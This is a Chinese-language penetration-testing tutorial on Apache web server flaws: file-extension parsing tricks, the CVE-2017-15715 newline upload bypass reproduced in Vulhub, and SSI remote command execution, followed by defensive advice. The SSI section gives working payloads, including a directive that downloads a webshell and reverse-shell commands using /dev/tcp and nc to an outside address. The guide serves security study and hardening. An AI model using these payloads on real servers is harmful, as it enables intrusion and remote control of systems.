渗透测试之地基服务篇:服务攻防之中间件Apache(总)
字数 1401 2025-08-13 21:33:29
Apache中间件渗透测试全面指南
一、Apache基础与原理
1. Apache简介
Apache是世界使用排名第一的Web服务器软件,具有跨平台和安全性特点,支持HTML、PHP、Perl、Python等多种语言。
2. Apache目录结构
bin/ # 常用命令工具
cgi-bin/ # Linux常用命令
conf/ # 配置文件(如httpd.conf)
error/ # 错误记录
htdocs/ # 网站源码
icons/ # 网站图标
logs/ # 日志
manual/ # 手册
modules/ # 扩展模块
3. Apache与PHP通信原理
- Apache通过
LoadModule加载php5_module模块(php5apache2_2.dll) - 通过以下配置指定PHP解析规则:
LoadModule php5_module php5apache2_2.dll的路径
AddType application/x-httpd-php .php
# 或
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
- 调用流程:HTTP → Apache → php5_module → SAPI → PHP
二、Apache解析漏洞详解
1. 未知扩展名解析漏洞
漏洞原理:Apache从右向左识别扩展名,直到识别到合法后缀才进行解析。
利用条件:
- 使用module模式与PHP结合的所有版本Apache
- 文件扩展名中至少带有一个".php"
测试方法:
- 上传文件如
test.php.jpg - 访问该文件,Apache会将其解析为PHP
2. AddHandler导致的解析漏洞
配置示例:
AddHandler application/x-httpd-php .php
效果:只要文件名中出现.php,就直接被解析为PHP,如dayu.php.jpg
3. 罕见后缀解析
Apache默认支持解析的后缀包括:
- .php
- .php3
- .php4
- .php5
- .pht
- .phtml
三、Apache HTTPD换行解析漏洞(CVE-2017-15715)
1. 漏洞描述
上传一个后缀末尾包含换行符(\x0A)的文件,可以绕过FilesMatch规则。
2. 影响版本
Apache 2.4.0~2.4.29
3. 漏洞复现步骤
- 搭建Vulhub测试环境:
cd vulhub/httpd/CVE-2017-15715/
sudo docker-compose build
sudo docker-compose up -d
-
上传文件
1.php被拦截 -
使用Burp抓包,将文件名改为
1.php\x0A(十六进制将2E改为0A) -
访问
http://target/1.php%0A成功解析
4. 漏洞原理
正则表达式$在设置了Multiline属性时会匹配'\n'或'\r',导致换行符被识别为文件名结尾。
5. 修复建议
- 升级到最新版本
- 重命名上传文件为时间戳+随机数+.jpg格式
- 禁用上传文件目录执行脚本权限
四、Apache SSI远程命令执行漏洞
1. 漏洞原理
当服务器开启SSI与CGI支持时,可上传.shtml文件执行系统命令。
2. 环境搭建
cd vulhub/httpd/ssi-rce
docker-compose up -d
3. 利用方法
- 上传包含SSI指令的文件:
<pre><!--#exec cmd="whoami" --></pre>
- 访问该.shtml文件可执行命令
4. 高级利用
- 下载webshell:
<!--#exec cmd="wget http://xxx/shell.txt | rename shell.txt shell.php" -->
- 反弹shell:
<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.1.1/8888 0<&1 2>&1" -->
<!--#exec cmd="nc 192.168.1.1 8888 -e /bin/bash" -->
5. 本地SSI配置
- 在httpd.conf中启用:
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
Options +Indexes +FollowSymLinks +ExecCGI +INCLUDES
- 重启Apache服务
五、防御措施
-
文件上传限制:
- 严格校验文件类型和内容
- 重命名上传文件
- 限制上传目录执行权限
-
服务器配置:
- 及时更新Apache版本
- 关闭不必要的SSI和CGI功能
- 使用最小权限原则运行服务
-
日志监控:
- 监控异常文件访问
- 分析可疑请求模式
六、测试工具与命令
Docker常用命令
docker-compose up -d # 启动服务
docker-compose ps # 查看服务状态
docker-compose stop # 停止服务
docker-compose restart # 重启服务
docker-compose rm # 删除服务
Apache服务管理
/etc/init.d/apache2 start # 启动
/etc/init.d/apache2 status # 状态
service apache2 restart # 重启
systemctl restart apache2 # 系统方式重启
七、总结
本文详细介绍了Apache中间件的多种安全漏洞,包括解析漏洞、换行解析漏洞(CVE-2017-15715)和SSI远程命令执行漏洞。通过理解这些漏洞的原理和利用方法,安全人员可以更好地评估和加固Apache服务器的安全性。在实际渗透测试中,应重点关注文件上传功能和服务配置问题,同时也要注意这些技术的合法使用边界。